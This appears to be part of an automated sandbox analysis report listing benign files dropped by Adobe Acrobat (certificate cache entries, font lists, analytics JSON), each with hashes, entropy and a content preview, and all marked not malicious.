Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl4vltfllXlE/HT8kEh/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKh9eT8ZJdNMa8RdWBwRd
MD5:	063C1179BEE8796617F352C4369F2FF5
SHA1:	5EE6BAFAA2DFC1C8292DA742F575DE283C8F124A
SHA-256:	3249D038B8EC591D685E98DFEDDD7C9EF6BA6FAB0307F86B8B3CF494CDAF247B
SHA-512:	B249548BA30DB82E80070AA79D770CB8BCB6A63D0403FB4D8A0AC29AB088F52A034672C0D51EEEAC2B5671C4BC7CADA8C1D3D5C6DFD586E455EFB44AB88E4D33
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.133081597444441
Encrypted:	false
SSDEEP:	6:kK70L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:z0iDnLNkPlE99SNxAhUe/3
MD5:	B4B387B11698270259EEE86E664DC91D
SHA1:	3D2BF414B19103D01E2B2D0BBC79E9AB4BC0AE04
SHA-256:	298F81E6B5EBEB62286000A2518D86E75454A0AB50623ADA50BFE0404F812200
SHA-512:	659467399DFDCAA9064662C3471F6EF0760D901F60862B4A3F685A1BEA4E092C27BDA5609FD3673FFFA6BA6FF385B728945B7B6F4AF4325B090982E13B73BA3F
Malicious:	false
Preview:	p...... .........3!..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1128

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1128

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.362872178155559
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJM3g98kUwPeUkwRe9:YvXKXQ8YpW7YGMbLUkee9
MD5:	9D0CCD4495919D029629D654BB2D8A8B
SHA1:	749F39776C419574E9551C513590B45F09CE4D33
SHA-256:	D728CAC00FD4C349A86E5CE6B2DA9515CFE2EAB40F4A6A22356A5D34E43FF414
SHA-512:	8D2C535096A6E764BE9D41A1E86C1D3BE5965C41317932F28572CEC9B1AB167DF68DD3FC0AC4D33B08FD4304B7FD3EBC7F6AB98822FB53BDF9D25FD8CFB51F22
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.302585889568522
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJfBoTfXpnrPeUkwRe9:YvXKXQ8YpW7YGWTfXcUkee9
MD5:	A48426F8DF147F005954B34480B62003
SHA1:	0213111C6AA7131618A221196DE89A212788C086
SHA-256:	38DB7690FFFB42D0610FF091F8F01FE0B584187FC85780EEF5DEC29319648DDF
SHA-512:	147382D78B8A60F930A43F18B53B4394813D56CB8849B10849593302C990C612CFC998415B646EB65C68E77A85D0F25FFD256B212CF333497664DB61112D86B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280985208436952
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJfBD2G6UpnrPeUkwRe9:YvXKXQ8YpW7YGR22cUkee9
MD5:	4D57A4F389FD43028BD131AAC1A4F963
SHA1:	2AA3CDF8FF906753151610CFE0D91EE662EFCF87
SHA-256:	C868C27486B8C10ACFDA65B9DC3B77D6D14A4AE76FC68FCAECA2599233BC3D92
SHA-512:	AB2DB1FB603C9FD774DA9F2E7C19174BA28ED8F6538735E6CD62EEDADE6873FBEBB32F820701A4FA096DE365DF29D1F0BE28FEECBF18A7A1546FF63464CFF996
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.341747820435403
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJfPmwrPeUkwRe9:YvXKXQ8YpW7YGH56Ukee9
MD5:	8C56BF5C0B6536B665583BA226E0B8C3
SHA1:	20DBA141099C7E16CF4EB21CC49D2330EC79CE0B
SHA-256:	30DACC1B6BF009298E58E02762F29EBFA787A3EA06D48F69CF7CFC7F7FC4FF6E
SHA-512:	8FD1E9B7684A223E691ADBD56285B69706821E18EA7BD9C2BD5AAE2E2B4213B35A019CCC1B10F868EDDACB5CC0228A0A9FE5575EB74A3C29D094EDD26CB87244
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693664905494367
Encrypted:	false
SSDEEP:	24:Yv6X+i1pLgE9cQx8LennAvzBvkn0RCmK8czOCCS2Y:Yv21hgy6SAFv5Ah8cv//
MD5:	E319E60FAF825A9CF99E1FEBBBD9B62A
SHA1:	D0521D2002E44EFE7A59F5D742536D97F2FE1573
SHA-256:	8D1E004E5416BA2D6657C6D1CF56F635297C8C3A7C9C7E0081601869DC4EDC68
SHA-512:	DF472EBD74D2C2A6121C49915DBE69C991D4A4B6C0AA29FE91332BD3BB2456226752629FFEB9AFD643EC6A0A343046FE2E55311F6C49F0F93E4E75DE3A7BA731
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288973617031151
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJf8dPeUkwRe9:YvXKXQ8YpW7YGU8Ukee9
MD5:	ADDE0A715EC574D099FA0FFE0400ED24
SHA1:	D5032C631BB917CE3F2CFCB1E92B144D4A44B4E8
SHA-256:	888038EF7DB2015388A490B854D6AF4E3894EAE70D14744227BD0478DDADC1F9
SHA-512:	4968FFA67A5C60E6D7291176079AEC3E3910B873144D686D4D7C6118A090D0061A20547077829FDD8C06E94B45EDBD10FB269E58086A70C0253FD6EB70AFCF19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2909508973778046
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJfQ1rPeUkwRe9:YvXKXQ8YpW7YGY16Ukee9
MD5:	B953297CF35F1094FAFD0E342B935834
SHA1:	AAE291400FAC719A0C3C2B5BAF240B54BBB83A8B
SHA-256:	E9362214501512AF0707B239CAC5103F7DAC062CD797F5F05173F092EF3F1F5A
SHA-512:	B3B8085C7D54AF02EDCEC51385B4777AB2223B078D3FBE806F7835B7A7E25098003CD46EC20D9DA61F40F66F05DD07D20E0DB5D5E8F39759A1DFABAC01379538
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.309995808174766
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJfFldPeUkwRe9:YvXKXQ8YpW7YGz8Ukee9
MD5:	58BBAB2F91580A3CC2AF026D3F1E0F99
SHA1:	769E8170E473E2417A3A90A520B18440A4AD6584
SHA-256:	3E589D0E9AAE983F55A85223FD01CBA6D55C23B9A49ED0A96BBB908E9E569FFE
SHA-512:	88588105BA5518D5B2DFE7BF74D44FE55D7CC39B62564AAD4D0617127E73B87A7F65F16B6081D15F3E3709A4FA2FD6055E4E8DC452BBD7EFE409B25411D4CCFC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.316196312551987
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJfzdPeUkwRe9:YvXKXQ8YpW7YGb8Ukee9
MD5:	391B6AA0145B88C3396A0D4508E461DF
SHA1:	774EEE776B2F47218654DF275FF943B371CEA5F0
SHA-256:	6683A47673ABEBDD0F7AC3E700BF001FE96A6EF88B43B561778CA7B5D71114AB
SHA-512:	E4B3017F87217F5B31520AEB6F885405F84DF0DF33A3A5AB0651AB301F44DBAF178573458C72AC786E650181BC5A2C93088672C311FEC117AC846650F150505A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f8fa21b8-8494-493b-90da-835fb4ac4879","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738867733,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29705177558367
Encrypted:	false
SSDEEP:	6:YEQXJ2HXOdRcSp7hnx+FIbRI6XVW7+0YxooAvJfYdPeUkwRe9:YvXKXQ8YpW7YGg8Ukee9
MD5:	A3CB0171C1BDA4B0797762C21F06BF79
SHA1:	6BEED94B5F4894D9E9D37585CAB61FFC0CBE9271
SHA-256:	A478D1C12A78AAED3A24C7F9AD49CF7414ED96A95823949D3D095190589E349F
SHA-512:	DF5092236C07809F926922965A2BDDCE0D3FFE4B88EA641139BDA968D8FDADFCB3C5DE4B874F7347DF53736D3A9AC2BFE820F305114939800961603BEC9EE53A
Malicious:	false
